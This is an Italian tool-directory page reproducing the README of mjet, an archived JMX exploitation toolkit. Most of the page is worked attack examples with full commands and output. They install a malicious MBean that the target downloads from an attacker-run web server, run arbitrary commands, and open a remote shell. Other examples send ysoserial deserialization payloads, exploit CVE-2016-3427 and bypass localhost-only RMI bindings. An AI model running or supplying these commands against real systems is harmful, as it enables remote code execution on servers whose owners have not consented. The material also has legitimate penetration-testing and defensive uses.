Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
mjet — Toolkit di exploitation JMX di MOGWAI LABS | Kitploit
Strumenti/GitHubGitHub/mogwailabs/mjet
Generazione di PayloadExploitPost-ExploitPenetration TestingRed TeamingStrumento di Accesso RemotoArchived
GitHubmogwailabs/mjet

mjet

Toolkit di exploitation JMX di MOGWAI LABS

Vedi Repository
2054713 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

MJET di MOGWAI LABS

MOGWAI LABS JMX Exploitation Toolkit

MJET è un fork di sjet, sviluppato da siberas ma non più mantenuto attivamente. MJET è mantenuto dal team di MOGWAI LABS, che ha anche fornito la maggior parte del codice originale di sjet.

MJET consente di sfruttare facilmente servizi JMX configurati in modo insicuro. Ulteriori informazioni di base sono disponibili qui e qui.

!!! Importante: questo progetto non è più mantenuto

Questo repository non è più mantenuto attivamente. Ti consigliamo invece di usare qtcs beanshooter.

Prerequisiti

  • Jython 2.7
  • Ysoserial (per sfruttare le vulnerabilità di deserializzazione tramite JMX)
  • opendmk_jmxremote_optional_jar-1.0-b01-ea.jar (per supportare il protocollo alternativo JMX Message Protocol (JMXMP))

Utilizzo

MJET implementa un'interfaccia CLI (usando argparse):

root@kitploit:~
jython mjet.py targetHost targetPort MODE password (modeOptions)
Scarica lo strumento

Dove

  • targetHost - l'indirizzo IP del target
  • targetPort - la porta del target su cui è in esecuzione JMX
  • MODE - la modalità dello script
  • modeOptions - le opzioni per la modalità selezionata

Supporto all'autenticazione (se l'autenticazione JMX è abilitata):

  • --jmxrole - il nome utente
  • --jmxpassword - la password

Altri argomenti opzionali:

  • --jmxmp - Usa JMX-MP (richiede il caricamento di un JAR aggiuntivo)
  • --localhost_bypass - porta di servizio per il proxy nel bypass di localhost
  • --shell - Usa la shell definita
  • --rmiObjectName - nome RMI dell'endpoint JMX

Modalità e modeOptions

  • install - installa il payload nel target corrente
    • password - la password da impostare dopo un'installazione riuscita
    • payload_url - URL completo per caricare il payload
    • payload_port - porta per caricare il payload
  • uninstall - disinstalla il payload dal target corrente
  • changepw - cambia la password su un payload già distribuito
    • password - la password per accedere all'MBean installato
    • newpass - La nuova password
  • command - esegue il comando CMD nel targetHost
    • password - la password per accedere all'MBean installato
    • CMD - il comando da eseguire
  • shell - avvia una semplice shell nel targetHost (con le limitazioni di Runtime.exec() di Java)
    • password - la password per accedere all'MBean installato
  • javascript - esegue un file javascript FILENAME nel targetHost
    • password - la password per accedere all'MBean installato
    • FILENAME - il javascript da eseguire
  • deserialize - invia un payload ysoserial al target
    • gadget - gadget come fornito da ysoserial, es. CommonsCollections6
    • cmd - comando da eseguire
  • webserver - esegue semplicemente il web server MLET
    • payload_url - URL completo per caricare il payload
    • payload_port - porta per caricare il payload

Esempi

Installazione dell'MBean del payload su un servizio JMX vulnerabile

Nell'esempio seguente, il servizio JMX vulnerabile è in esecuzione su 10.165.188.23 porta 2222 e l'attaccante ha l'indirizzo IP 10.165.188.1. Il servizio JMX si collegherà al servizio web dell'attaccante per scaricare il file jar del payload. MJET avvierà il servizio web necessario sulla porta 8000.

Dopo l'installazione riuscita dell'MBean, la password predefinita viene cambiata con la password fornita dalla riga di comando ("super_secret").

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.0.jar mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
h0ng10@rocksteady ~/w/mjet> 

Installazione con credenziali JMX (richiede anche una configurazione debole del server):

root@kitploit:~
h0ng10@rocksteady:~/mjet$ jython mjet.py 192.168.11.136 9991 install super_secret http://192.168.11.132:8000 8000 --jmxrole JMXUSER --jmxpassword JMXPASSWORD
mJET - MOGWAI LABS JMX Exploitation Toolkit
=======================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Using credentials: JMXUSER / JMXPASSWORD
[+] Connected: rmi://192.168.11.132  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.11.132:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /mogwailabs_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.mlet.MogwaiLabsPayload
[+] Successfully changed password

h0ng10@rocksteady:~/mjet$

Esecuzione del comando 'ls -la' su un target Linux:

Dopo che il payload è stato installato, possiamo usarlo per eseguire comandi di sistema sul target.

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
h0ng10@rocksteady ~/w/mjet>

Esecuzione in modalità shell

Se non vuoi caricare Java per ogni comando, puoi usare la "modalità shell" per ottenere una shell di comando limitata.

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 shell super_secret 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  5
[+] Use command 'exit_shell' to exit the shell
>>> ls -la
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


>>> pwd
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: pwd
/var/lib/tomcat8


>>> exit_shell
[+] Done
h0ng10@rocksteady ~/w/mjet> 

Invocare un payload JavaScript su un target:

Lo script di esempio "javaproperties.js" mostra le proprietà Java del servizio vulnerabile. Può essere invocato come segue:

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 javascript super_secret scripts/javaproperties.js 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  6
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing script
awt.toolkit=sun.awt.X11.XToolkit
java.specification.version=11
sun.cpu.isalist=
sun.jnu.encoding=UTF-8
java.class.path=/usr/share/tomcat8/bin/bootstrap.jar:/usr/share/tomcat8/bin/tomcat-juli.jar
com.sun.management.jmxremote.authenticate=false
java.vm.vendor=Oracle Corporation
sun.arch.data.model=64
...


[+] Done

Cambiare la password

Cambia la password esistente ("super_secret") in "this-is-the-new-password":

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 changepw super_secret this-is-the-new-password

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  7
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done

Disinstallare l'MBean del payload dal target

Disinstalla l'MBean del payload 'MogwaiLabs' dal target:

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 uninstall

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  8
[+] MBean correctly uninstalled
[+] Done

Sfruttare la deserializzazione Java con ysoserial

Sfrutta la deserializzazione Java con ysoserial sul target: Il file ysoserial.jar deve essere presente nella directory MJET. Puoi selezionare qualsiasi payload ysoserial, in modo simile alle chiamate originali di ysoserial.

Questo attacco funziona anche se l'autenticazione JMX è abilitata e l'utente dispone di permessi "readonly".

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py --jmxrole user --jmxpassword userpassword 10.165.188.23 2222 deserialize CommonsCollections6 "touch /tmp/xxx"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Using credentials: user / userpassword
[+] Connected: rmi://10.165.188.1 user 21
[+] Loaded sun.management.ManagementFactoryHelper$PlatformLoggingImpl
[+] Passing ysoserial object as parameter to getLoggerLevel(String loglevel)
[+] Got an access denied exception - this is expected

[+] Done

Sfruttare CVE-2016-3427: autenticazione JMX con deserializzazione Java

Sfrutta CVE-2016-3427 con ysoserial: Il file ysoserial.jar deve essere presente nella directory MJET/jar. Puoi selezionare qualsiasi payload ysoserial, in modo simile alle chiamate originali di ysoserial.

root@kitploit:~
$ java -jar jython.jar mjet.py 127.0.0.1 9999 cve-2016-3427 CommonsCollections6 "touch /tmp/xxx"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://127.0.0.1:9999/jmxrmi
[+] Object was deserialized, target could be vulnerable
[?]: Returned error:
(<type 'java.lang.SecurityException'>, java.lang.SecurityException: Authentication failed! Credentials should be String[] instead of java.util.HashSet, <traceback object at 0x2>)
[+] Done

Riferimento: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3427

Modalità solo webserver

È anche possibile eseguire solo il web server che fornisce il codice MLET e il file JAR con l'MBean del payload.

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 webserver http:/xxxx/xxxx 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Press Enter to stop the service

Supporto al protocollo JMX Message Protocol (JMXMP)

Scarica opendmk_jmxremote_optional_jar-1.0-b01-ea.jar e spostalo nella directory jars. Devi aggiungere questa directory al classpath tramite java -cp.

root@kitploit:~
java -cp "jython.jar:jars/*" org.python.util.jython mjet.py shell mypass

Bypass di localhost

A volte il registry RMI espone un RemoteObject accessibile solo su localhost (esempio @127.0.0.1:45401). Tuttavia, la porta è aperta dove il RemoteObject è accessibile tramite la rete.

root@kitploit:~
$ nmap -sVC 172.17.0.2 -p 9999,45401

Starting Nmap 7.60 ( https://nmap.org ) at 2020-03-24 16:48 CET
Nmap scan report for 172.17.0.2
Host is up (0.00035s latency).

PORT      STATE SERVICE     VERSION
9999/tcp  open  java-rmi    Java RMI Registry
| rmi-dumpregistry: 
|   jmxrmi
|      implements javax.management.remote.rmi.RMIServer, 
|     extends
|       java.lang.reflect.Proxy
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @127.0.0.1:45401
|             extends
|_              java.rmi.server.RemoteObject
45401/tcp open  rmiregistry Java RMI

È comunque possibile sfruttare questo servizio usando l'opzione --localhost_bypass <PORT>. Nell'esempio seguente, usiamo la porta 45401. Questo avvierà un proxy TCP su localhost e inoltrerà il traffico al targetHost sulla porta fornita.

root@kitploit:~
$ jython mjet.py --localhost_bypass 45401 172.17.0.2 9999 install mypass http://172.17.0.1:6666 6666

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 6666
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://172.17.0.2:9999/jmxrmi
[+] Started localhost proxy on port 45401
[+] Connected: rmi://172.17.0.1  17
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://172.17.0.1:6666
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
172.17.0.2 - - [24/Mar/2020 18:07:01] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done

Nome RMI personalizzato

A volte il nome dell'oggetto RMI dell'endpoint JMX non è jmxrmi; in questo caso, il parametro --rmiObjectName può essere usato per specificare il nome RMI appropriato, ad esempio --rmiObjectName=customJmxRmi.

root@kitploit:~
$ jython mjet.py --rmiObjectName=customJmxRmi 172.17.0.2 2222 super_secret install http://172.17.0.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/customJmxRmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
$  

Utilizzare una shell definita personalizzata

A volte il sistema target non fornisce una shell /bin/bash o cmd.exe. In questo caso, si può specificare il parametro opzionale --shell, ad esempio --shell="bash -c". Eseguendo il javascript javaproperties.js con mjet.py, vengono forniti maggiori dettagli sull'ambiente.

root@kitploit:~
$ jython mjet.py --shell="bash -c" 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
$

Riferimento: https://www.optiv.com/blog/exploiting-jmx-rmi

Docker

Costruisci ed esegui l'immagine docker

root@kitploit:~
# Build
docker build -t mjet .
# Run Help
docker run mjet
# Exploit example
docker run mjet 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000
# Run Interactive into shell
docker run --entrypoint /bin/sh -it mjet

Di default, l'immagine docker espone la porta 8000 per il server HTTP. Se hai bisogno di un'altra porta, ricordati di esporla!

Come contribuire

Sentiti libero di contribuire.

Autori

  • Hans-Martin Münch - Idea iniziale e lavoro - h0ng10
  • Patricio Reller - CLI e opzioni aggiuntive - preller
  • Ben Campbell - Diversi miglioramenti - Meatballs1
  • Arnim Rupp - Supporto all'autenticazione
  • Sebastian Kindler - Supporto alla deserializzazione
  • Karsten Zeides - Supporto al JMX Message Protocol, bypass di localhost zeides
  • g60ocR - File Docker g60ocR
  • Morn98 - Selezione di shell e RMI Morn98)

Vedi anche l'elenco dei contributori che hanno partecipato a questo progetto.

Licenza

Questo progetto è concesso in licenza sotto la MIT License - vedi il file LICENSE per i dettagli.